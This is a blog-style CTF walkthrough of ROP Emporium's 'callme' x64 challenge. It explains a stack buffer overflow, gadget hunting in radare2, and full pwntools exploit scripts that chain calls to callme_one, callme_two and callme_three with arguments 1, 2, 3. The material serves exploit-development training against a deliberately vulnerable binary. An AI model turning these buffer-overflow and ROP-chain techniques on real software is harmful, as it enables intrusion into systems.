ROP Emporium’s callme (x64) with Radare2

Mark Higgins
5 min readSep 3, 2019

ROP Emporium has another trick up their sleeve with callme — calling functions with multiple arguments. It’s not going to break your brain, but as we add more levels of complexity, it’s a good idea to leverage tools to keep things simple.

Download ROP Emporium’s callme here: https://ropemporium.com/binary/callme.zip

You can find my previous posts in this series here:

pwntools with Python3

Before diving into callme, we’re going to install pwntools, a CTF framework and exploit development library. This simplifies a lot of exploit development, and includes many fantastic features, like remote exploitation via ssh, file patching, and even ROP tools. Read more here.

Install dependencies and then pwntools via pip.

apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential
python3 -m pip install --upgrade pip
python3 -m pip install --upgrade pwntools

Back to the Binary

Load callme with r2, analyze it, and look over the functions. Both main and sym.pwnme are essentially the same as in previous challenges (except now 256 bytes are being copied into a buffer of 32 bytes), but now there’s also a sym.usefulFunction. Disassemble sym.usefulFunction to reveal three functions are being called with three arguments.

2020 Update: this challenge has been updated and the arguments changed. Finding the new arguments and updating the exploit code is up to you…

Simple enough — three function calls with 3 arguments. Let’s first write our script out with Python, then adapt it to work with pwntools. All we need to do is overflow the buffer, and call sym.usefulFunction.

#!/usr/bin/env python3payload = b"\xCC"*40
payload += b"\x57\x1a\x40\x00"
with open("solution", "wb") as f:
f.write(payload)
# Run the binary with:
# cat solution | ./callme

Pwntools has many helper functions which handle common tasks, everything from packing byte structures to ROP tools. Pack 32 bit integers with p32(), and 64 bit integers with p64(). Pwntools can even run programs, giving you access to send and receive data, and interact.

#!/usr/bin/env python3
from pwn import *
payload = b"\xCC"*40
# Pack the address of sym.usefulFunction with p64
payload += p64(0x00401a57) # sym.usefulFunction
p = process("./callme") # open a new process
p.sendline(payload) # send the payload
p.interactive() # interact with the process

Now run the script, and you’ll see we…failed.

Incorrect parameters? After investigating references to this text, it seems it’s coming from sym.usefulFunction , indicating the sym.callme_one, sym.callme_two, andsym.callme_three functions are being called with the wrong parameters. No problem, we can call them directly and set up our own arguments. Use r2 to open libcallme.so, the library being called which contains the sym.callme functions.

Analyze functions then disassemble sym.callme_one.

The first part of the function is the most relevant for us. First, the function’s arguments are moved intovar_14h, var_18h, and var_1ch. Next, each is compared to a number, and if each comparison is true, the function continues to open an encrypted file and read part of the flag. So sym.callme_one must be called with 1,2,3 as arguments. Disassembling sym.callme_two and sym.callme_three are the same. Call them with 1, 2, 3 as arguments.

callme_xyz(1, 2, 3)

As I’m sure you remember, in x64 assembly we put arguments in registers, those being:

rdi rsi rdx

Load callme with r2, then search for ROP gadgets with pop rdi.

"/R pop rdi"

As luck would have it, we find one gadget which will handle everything!

We need to call each of the three sym.callme functions, and each time, the payload will be:

payload = "\xCC"*40
payload += pop rdi; pop rsi; pop rdx + 1 + 2 + 3 + callme_address
payload += pop rdi; pop rsi; pop rdx + 1 + 2 + 3 + callme_address
payload += pop rdi; pop rsi; pop rdx + 1 + 2 + 3 + callme_address

Final Exploit

In the previous challenge, we had to pad our payload with null bytes, but with pwntools we can use the p64() method to handle this. Cleaning up the comments a bit, our exploit is now:

#!/usr/bin/env python3
from pwn import *
one = p64(1)
two = p64(2)
three = p64(3)
payload = b"\xCC"*40
payload += p64(0x00401ab0) # pop rdi; pop rsi; pop rdx
payload += one + two + three
payload += p64(0x00401850) # call callme_one
payload += p64(0x00401ab0) # pop rdi; pop rsi; pop rdx
payload += one + two + three
payload += p64(0x00401870) # call callme_two
payload += p64(0x00401ab0) # pop rdi; pop rsi; pop rdx
payload += one + two + three
payload += p64(0x00401810) # call callme_three
p = process("./callme") # open a new processp.sendline(payload) # send the payload
p.interactive() # interact with the process

Run your exploit and get your flag.

Ubuntu 18.04 users: you must align your stack before calling functions, as ROP Emporium outlines here. All you need is a single return gadget, which can be made from our other gadget by adding 3 to point to the ret instruction. Add it after the JUNK payload

#!/usr/bin/env python3
from pwn import *
one = p64(1)
two = p64(2)
three = p64(3)
payload = b"\xCC"*40
payload += p64(0x00401ab0+3) # stack align
payload += p64(0x00401ab0) # pop rdi; pop rsi; pop rdx
payload += one + two + three
payload += p64(0x00401850) # callme_one
payload += p64(0x00401ab0) # pop rdi; pop rsi; pop rdx
payload += one + two + three
payload += p64(0x00401870) # callme_two
payload += p64(0x00401ab0) # pop rdi; pop rsi; pop rdx
payload += one + two + three
payload += p64(0x00401810) # callme_three
p = process("./callme") # open a new process
p.sendline(payload) # send the payload
p.interactive() # interact with the process

--

--